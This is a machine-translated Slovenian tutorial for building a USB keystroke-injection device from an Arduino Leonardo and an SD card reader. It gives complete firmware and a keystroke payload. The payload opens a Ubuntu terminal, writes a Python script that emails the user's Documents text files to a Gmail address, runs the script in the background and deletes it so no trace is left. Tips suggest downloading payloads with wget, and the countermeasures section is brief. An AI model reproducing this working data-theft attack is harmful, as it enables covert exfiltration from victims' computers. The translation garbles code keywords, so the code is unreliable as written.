Kazalo:
- 1. korak: Materiali
- 2. korak: Izdelava naprave
- 3. korak: Kako deluje v podrobnostih
- 4. korak: Protiukrepi
Video: Predstavitev izkoriščanja tipkovnice Arduino (HID) in preprečevanje: 4 koraki (s slikami)
2024 Avtor: John Day | [email protected]. Nazadnje spremenjeno: 2024-01-30 12:07
V tem projektu bomo uporabili arduino leonardo za simulacijo možnega napada USB z uporabo HID (humain interface device).
Te vadnice sem ustvaril ne zato, da bi pomagal hekerjem, ampak da bi vam pokazal nekaj resničnih nevarnosti in kako se zaščititi pred temi nevarnostmi. Ta naprava ni naprava, ki jo je mogoče uporabiti na kateri koli platformi za hekerje, ampak je bolj podroben dokaz koncepta.
Naučili se bomo naslednjega:
- kako uporabiti arduino leonardo za posnemanje tipkovnice
- kako prebrati podatke s kartic SD
- kako ustvariti skript python, ki skenira datoteke in jih pošlje po e -pošti
- kako zaščititi sebe pred vdori USB
1. korak: Materiali
Deli:
1. Arduino leonardo
2. bralnik kartic micro USB
3. nekaj GB SD kartico
4. takšen gumb (VCC, ozemljitev in signal)
5. moški moški in žensko-ženski kabli
6. kabel mikro USB v USB
2. korak: Izdelava naprave
Pred gradbenim navodilom si oglejmo načelo delovanja:
Arduino leonardo se lahko obnaša kot naprava za človeški vmesnik (HID) in zato lahko posnema miško in tipkovnico. To funkcijo bomo uporabili za odpiranje terminala (v UBUNTU linux) in pisanje majhnega skripta, ki bo imel dostop do mape /Dokumenti v domači mapi uporabnikovih, kopirajte datoteke.txt tam in jih nekomu pošljite po e -pošti. Če želite izvedeti več podrobnosti, preverite naslednji korak.
Ker gre za demo napravo, so stvari zelo preproste, ne bomo nič spajkali.
Navodila za gradnjo
Preden začnemo, preverimo priložene datoteke, priložil sem sheme fritzinga in vse potrebne datoteke
1. Sestavite komponente:
* kabel mikro USB priključite v arduino
* stikalo za ključ priključite na arduino (ozemljitveni, vcc in izhodni modul na D8)
* bralnik kartic priključite na arduino (z glavo ICSP). Arduino leonardo nima glave ICSP, povezane z digitalnimi zatiči, zato boste morali bralnik kartic priključiti na glavo ICSP. Nekaj risb ICSP-ja najdete tukaj: https://learn.sparkfun.com/tutorials/installing-an…. Priključite pin SS na digitalni pin 10
2. dobite kodo arduino, lahko klonirate moje skladišče arduino na githubu: https://github.com/danionescu0/arduino in pojdite na projects/keyboard_exploit ali ga dobite od spodaj:
#include "Keyboard.h"
#include "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"; String sleepCommandStartingPoint = "Spanje::"; String commandStartingPoint = "Ukaz::"; int delayBetweenCommands = 10; const int buttonPin = 8; const int chipSelect = 10; int previousButtonState = HIGH; void setup () {pinMode (buttonPin, INPUT); Serial.begin (9600); Keyboard.begin (); if (! SD.begin (chipSelect)) {Serial.println ("Kartica ni uspela ali ni prisotna!"); vrnitev; }} void loop () {int buttonState = digitalRead (buttonPin); if ((buttonState! = previousButtonState) && (buttonState == HIGH)) {sdFileToKeyboard (); Serial.println ("Naloženo!"); zamuda (500); } previousButtonState = buttonState; } void sdFileToKeyboard () {File dataFile = SD.open (filenameOnCard); if (! dataFile) {Serial.println ("Navedeno ime datoteke ni na kartici SD, preverite ime datotekeOnCard!"); } Vrstica niza; while (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (vrstica); sendToKeyboard (vrstica); } dataFile.close (); } void sendToKeyboard (vrstica niza) {String workingLine = vrstica; if (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (vrstica); vrnitev; } if (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Besedilo:"); Serial.println (vrstica); Keyboard.println (vrstica); pritisnite Enter (); vrnitev; } Serial.println ("Ukaz:"); int charPosition = commandStartingPoint.length (); int lineLength = line.length (); workingLine += ","; while (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (WorkingLine); int specialCommandDelimiterPosition = workingLine.indexOf (","); Ukaz niza = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (ukaz! = "") {Serial.print ("Ukaz je najden:"); Serial.println (ukaz); Keyboard.press (getCommandCode (ukaz)); zakasnitev (delayBetweenCommands); }} Keyboard.releaseAll (); zakasnitev (delayBetweenCommands); } void pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } void sleepFor (String line) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print ("Spanje za:"); Serial.println (sleepAmount); zamuda (sleepAmount); } char getCommandCode (besedilo niza) {char textCharacters [2]; text.toCharArray (textCraracters, 2); koda char = textCharacters [0]; code = (text == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: koda; code = (text == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: koda; code = (text == "KEY_LEFT_ALT")? KEY_LEFT_ALT: koda; code = (text == "KEY_UP_ARROW")? KEY_UP_ARROW: koda; code = (text == "KEY_DOWN_ARROW")? KEY_DOWN_ARROW: koda; code = (text == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: koda; code = (text == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: koda; code = (text == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: koda; code = (text == "KEY_BACKSPACE")? KEY_BACKSPACE: koda; code = (text == "KEY_TAB")? KEY_TAB: koda; code = (text == "KEY_RETURN")? KEY_RETURN: koda; code = (text == "KEY_ESC")? KEY_ESC: koda; code = (text == "KEY_INSERT")? KEY_INSERT: koda; code = (text == "KEY_DELETE")? KEY_DELETE: koda; code = (text == "KEY_PAGE_UP")? KEY_PAGE_UP: koda; code = (text == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: koda; code = (text == "KEY_HOME")? KEY_HOME: koda; code = (text == "KEY_END")? KEY_END: koda; code = (text == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: koda; code = (text == "KEY_F1")? KEY_F1: koda; code = (text == "KEY_F2")? KEY_F2: koda; code = (text == "KEY_F3")? KEY_F3: koda; code = (text == "KEY_F4")? KEY_F4: koda; code = (text == "KEY_F5")? KEY_F5: koda; code = (text == "KEY_F6")? KEY_F6: koda; code = (text == "KEY_F7")? KEY_F7: koda; code = (text == "KEY_F8")? KEY_F8: koda; code = (text == "KEY_F9")? KEY_F9: koda; code = (text == "KEY_F10")? KEY_F10: koda; code = (text == "KEY_F11")? KEY_F1: koda; code = (text == "KEY_F12")? KEY_F2: koda;
povratna koda;
}
3. Naložite kodo v arduino, ne pozabite izbrati 9600 baud rate, serijskih vrat in arduino leonardo
4. Sd kartico formatirajte s FAT16 ali FAT32
5. Če ste klonirali repo github od zgoraj, kopirajte datoteko hack.txt na kartico, če datoteka ni navedena spodaj:
Ukaz:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Sleep:: 300 Ukaz:: KEY_INSERT uvoz smtplib uvoz glob, os iz os.path uvoz razširitve uporabnika iz e -pošte. MIMEText uvoz MIMEText iz e -pošte. Pomožni uvoz COMMASPACE, formatdate iz kod za uvoz e -pošte
smtp_user = 'sender_gmail_address'
smtp_pass = 'sender_gmail_password' to_address = 'naslov_prejemnika' scan_documents_location = 'Dokumenti'
subject = body = 'Datoteke iz vdrtega računalnika'
header = 'Za: {0} nOd: {1} nZadeva: {2} n'.format (to_address, smtp_user, subject)
def sendMail (do, zadeva, besedilo, datoteke = ):
msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Subject'] = predmet sporočila (MIMEText (besedilo)) za datoteko v datotekah: part = MIMEBase ('application', "octet-stream") part.set_payload (open (file, "rb"). Read ()) Encoders.encode_base64 (part) part. add_header ('Content-Disposition', 'attachment; filename = " % s"' % os.path.basename (file)) msg.attach (del)
strežnik = smtplib. SMTP ('smtp.gmail.com:587')
server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, to, msg.as_string ()) server.quit ()
sendMail ([to_address], subject, body, glob.glob ("{0}/{1}/*. txt".format (expanduser ("~"), scan_documents_location)))
Sleep:: 50 Command:: KEY_ESC Sleep:: 100: x Sleep:: 500 nohup python hack.py & Sleep:: 700 rm -rf hack.py Sleep:: 400 Command:: KEY_LEFT_ALT, KEY_F4
6. Uredite naslednje vrstice:
smtp_user = 'sender_email_addr'
smtp_pass = 'geslo za pošiljatelja' do_address = 'naslov_prejemnika'
In zamenjajte z vašimi e -poštnimi naslovi
7. Odstranite kartico in jo vstavite v bralnik kartic arduino
3. korak: Kako deluje v podrobnostih
Kako bo napad deloval:
1. Ko pritisnete gumb, bo leonardo prebral sd kartico z bralnikom sd kartic. Na kartici bo posebna datoteka, ki vsebuje ključe in kombinacijo tipk. Ime datoteke je "hack.txt".
Datoteka lahko vsebuje neobdelano besedilo in bo tako prenesena na tipkovnico.
Vsebuje lahko tudi posebne ukaze, kot sta "Sleep::" in "Command::".
Vrstica, kot je:
Sleep:: 200 pomeni 200 ms spanja
Vrstica, kot je:
Ukaz:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t pomeni pritisnjen levi ctrl, levi alt pritisnjen, t pritisnjen in vse sproščeno
Vse posebne ključe lahko preverite tukaj:
2. Leonardo bo bral vrstico za vrstico, razlagal ukaze in posnemal tipke na tipkovnici. Datoteka "hack.txt" vsebuje kombinacijo ključev, ki naredijo naslednje (za UBUNTU linux):
a. odpre terminal (CTRL + ALT + T)
b. odpre datoteko python za ustvarjanje z uporabo vi (napiše "vi hack.py"
c. v notranjost napiše skript python, ki zbere vse besedilne datoteke v domači mapi dokumentov in jih pošlje na določen naslov gmail
d. zažene datoteko v ozadju ("nohup python hack.py &")
e. izbriše datoteko (rm -rf hack.py)
f. zapre terminal (ALT + F4)
Vse skupaj teče v nekaj sekundah in ne pušča sledi.
Izboljšave in odpravljanje težav
* Morda ste opazili, da po odprtju terminala pišem datoteko python. boljši način je, da ga nekje gostite in naložite z ukazom "wget some_url", nato pa ga preimenujete v hack.py
* Prav tako lahko naložimo ali zaženemo že pripravljen izkoristek za ciljni operacijski sistem
* Wi -Fi lahko dodate v modul, hack pa naložite prek WIFI
* lahko uporabite arduino micro (ki je veliko manjši) in vanj vdelate kodo za izkoriščanje (za zmanjšanje)
Omejitve
1. Ker simulirana naprava (tipkovnica in miška) nima povratnih informacij, ne vemo, kaj se bo zgodilo po izdaji ukaza, kar pomeni, da moramo uporabiti zamude. Na primer, izdajam ukaz za odpiranje terminala, vendar ne vem, kdaj bo dejansko odprt, zato moram določiti poljubno zakasnitev, da zagotovim, da znaki, vneseni po, ne bodo izgubljeni.
2. Lahko naletimo na težave z dovoljenji, na primer brez dostopa do vrat USB ali dovoljenja za namestitev nečesa
3. Hitrost tipkanja pri leonardu ni tako velika
4. Deloval bo le na ciljnem operacijskem sistemu (v našem primeru UBUNTU linux)
V naslednjem koraku bomo poskušali najti načine, kako izkoristiti te omejitve in preprečiti vdor v računalnik
4. korak: Protiukrepi
1. Onemogočanje vrat USB
-za Windows lahko preverite to vadnico:
2. Naprave USB na belem seznamu:
- za okna:
2. Ko niste doma, zaklenite računalnik
3. Ne prijavite se kot root (zahtevajte gesla za namestitev česar koli)
4. Posodobite se (samodejne posodobitve vklopljene)
Priporočena:
Arduino atmosferski trak/ MS5611 GY63 GY86 Predstavitev: 4 koraki (s slikami)
Arduino Atmosferski merilni trak/ MS5611 GY63 GY86 Demonstracija: To je res barometer/ višinomer, vendar boste razlog za naslov videli z ogledom videoposnetka. Senzor tlaka MS5611, ki ga najdete na ploščah Arduino GY63 in GY86, prinaša neverjetne zmogljivosti . V mirnem dnevu vam bo izmeril
Predstavitev energije kolesa (navodila za uporabo): 4 koraki
Predstavitev energije kolesa (Navodila za uporabo): Ta navodila so navodila za uporabo predstavitve energije kolesa. Povezava do gradnje je navedena spodaj: https: //www.instructables.com/id/Bicycle-Energy-Demo-Build
Robot za preprečevanje ovir z uporabo EBot8: 4 koraki (s slikami)
Robot, ki se izogiba oviram z uporabo EBot8: V tej vadnici se boste naučili, kako sestaviti avtomobil, ki se bo izognil oviram, ki so na njegovi poti. Koncept se lahko uporablja in uporablja na različne načine glede na pogoje. Potrebni materiali: 1. Kolesa x4 2. Šasija (lahko kupite
Vmesnik tipkovnice z 8051 in prikazom številk tipkovnice v 7 segmentih: 4 koraki (s slikami)
Vmesnik tipkovnice z 8051 in prikaz številk tipkovnice v 7 segmentu: V tej vadnici vam bom povedal, kako lahko povežemo tipkovnico z 8051 in prikažemo številke tipkovnice v 7 segmentnem zaslonu
Čiščenje Apple aluminijaste tipkovnice ali katere koli druge tipkovnice z mehkim dotikom: 5 korakov
Čiščenje Apple aluminijaste tipkovnice … ali katere koli druge tipkovnice z mehkim dotikom: Čiste, kot bi si ti ali jaz poskušali obdržati naše aluminijaste jabolčne tipkovnice, po enem letu postanejo umazane. Ta navodila vam bodo pomagala očistiti. Bodite previdni, ker nisem odgovoren, če se vam pri tem pokvari tipkovnica …. SUSKS F